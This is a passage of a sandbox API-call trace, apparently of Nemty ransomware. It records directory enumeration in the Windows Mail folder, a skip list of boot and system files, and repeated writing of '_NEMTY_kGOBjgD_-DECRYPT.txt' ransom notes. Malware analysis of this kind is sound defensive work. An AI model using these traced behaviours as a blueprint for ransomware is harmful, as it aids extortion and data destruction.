lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0102.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.253] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbdae9ab0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbdae9ab0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2=".") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="..") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="...") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="windows") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="$RECYCLE.BIN") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="rsa") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="NTDETECT.COM") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="ntldr") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="MSDOS.SYS") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="IO.SYS") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="boot.ini") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="boot.ini") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="AUTOEXEC.BAT") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="ntuser.dat") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="desktop.ini") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="CONFIG.SYS") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="RECYCLER") returned 1 [0102.253] lstrcmpiW (lpString1="Windows Mail", lpString2="BOOTSECT.BAK") returned 1 [0102.254] lstrcmpiW (lpString1="Windows Mail", lpString2="bootmgr") returned 1 [0102.254] lstrcmpiW (lpString1="Windows Mail", lpString2="programdata") returned 1 [0102.254] lstrcmpiW (lpString1="Windows Mail", lpString2="appdata") returned 1 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Mail", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0102.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Mail", cchWideChar=12, lpMultiByteStr=0x653f8d0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Mail", lpUsedDefaultChar=0x0) returned 12 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Mail", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0102.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Mail", cchWideChar=12, lpMultiByteStr=0x653f8d0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Mail", lpUsedDefaultChar=0x0) returned 12 [0102.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0102.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.254] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0102.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0102.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.254] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows mail\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0102.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0102.263] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.263] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0102.264] CloseHandle (hObject=0x3c0) returned 1 [0102.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0102.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0102.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0102.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0102.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0102.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0102.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0102.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.266] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows mail\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0102.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0102.266] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.267] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0102.267] CloseHandle (hObject=0x3c0) returned 1 [0102.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0102.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0102.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf0963870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0963870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0102.268] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.268] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf0963870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0963870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.268] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.268] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.268] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0102.268] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0102.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0102.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0102.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0102.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0102.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0102.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0102.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0102.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0102.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0102.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0102.269] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows mail\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0102.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0102.271] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.271] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0102.272] CloseHandle (hObject=0x3c4) returned 1 [0102.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0102.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0102.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0102.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0102.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0102.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0102.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0102.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0102.272] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows mail\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0102.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0102.273] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.273] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0102.274] CloseHandle (hObject=0x3c4) returned 1 [0102.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0102.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0102.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0102.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf09899d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf09899d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0102.274] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.274] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf09899d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf09899d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0102.274] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.274] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.275] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="...") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="windows") returned -1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="rsa") returned -1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="NTDETECT.COM") returned -1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ntldr") returned -1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="MSDOS.SYS") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="IO.SYS") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="boot.ini") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="boot.ini") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="ntuser.dat") returned -1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="desktop.ini") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="CONFIG.SYS") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="RECYCLER") returned -1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="bootmgr") returned 1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="programdata") returned -1 [0102.275] lstrcmpiW (lpString1="msoeres.dll.mui", lpString2="appdata") returned 1 [0102.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoeres.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoeres.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoeres.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0102.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoeres.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoeres.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoeres.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0102.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoeres.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoeres.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msoeres.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0102.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoeres.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msoeres.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, 